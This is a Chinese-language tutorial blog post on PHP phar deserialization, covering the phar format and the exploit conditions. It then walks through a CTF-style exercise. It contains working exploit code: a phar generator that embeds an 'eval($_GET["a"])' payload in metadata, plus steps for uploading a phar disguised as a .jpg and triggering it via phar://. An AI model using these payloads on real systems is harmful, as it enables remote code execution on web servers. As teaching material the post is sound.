phar反序列化漏洞介绍
什么是phar:
phar类似于java中的jar打包
phar的结构:
stub phar文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>;
(头部信息)
manifest压缩文件的属性等信息,以序列化存储;
contents压缩文件的内容;
signature签名,放在文件末尾;
phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
漏洞原理:
manifest压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;
调用phar伪协议,可读取 .phar文件;
phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
注意:phar需要php>=5.2在php.ini中将phar.readonly设为Off 注意去掉前面的分号
phar使用条件:
1.phar文件能上传到服务器端。
2.要有可用反序列化魔术方法作为跳板。
3.要有文件操作函数,如file_exists(),fopen(),file_get_contents()
4.文件操作函数参数可控,且: / phar等特殊字符没有被过滤
总结就是要有文件操作函数,然后可以去使用这个phar伪协议去读取一个.phar文件,并且在原本的代码中有魔术方法,在反序列化的过程中去执行相关的代码,进而执行我们想让它执行的。 这个phar后缀是可以修改的,没有影响
下面举一个例子:
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
这个就是创建一个phar文件 ,将output的值写入到meta-data段中,通过filename利用phar伪协议 然后进行一个反序列化,触发了_destruct()魔术方法,执行了eval函数,也执行了我们想让它执行的。
下面来个简单例题实验一下:
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
这个满足phar漏洞的四个基本点 1.可以上传 2.有文件操作函数 3.有魔术方法作为跳板机 4.文件操作函数的参数名可控
这个要生成一个phar文件的话需要改一个东西,上面有介绍,需要注意的是前面的分号要删除。
这个代码算是简单的了,根据上面的代码生成一个phar文件
<?php
highlight_file(__FILE__);
class TestObject{
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
然后改一下new的类
这样就生成了,然后在upload.php界面下上传这个phar文件,但是phar上传后似乎失败了,我们可以把phar后缀修改成jpg的,这样不影响
然后得到路径 uplod/test.jpg
最后利用phar伪协议去读取一下即可
file=phar://upload/test.jpg
标签:文件,写入,phar,filename,漏洞,test,序列化 From: https://www.cnblogs.com/mrfs/p/17500231.html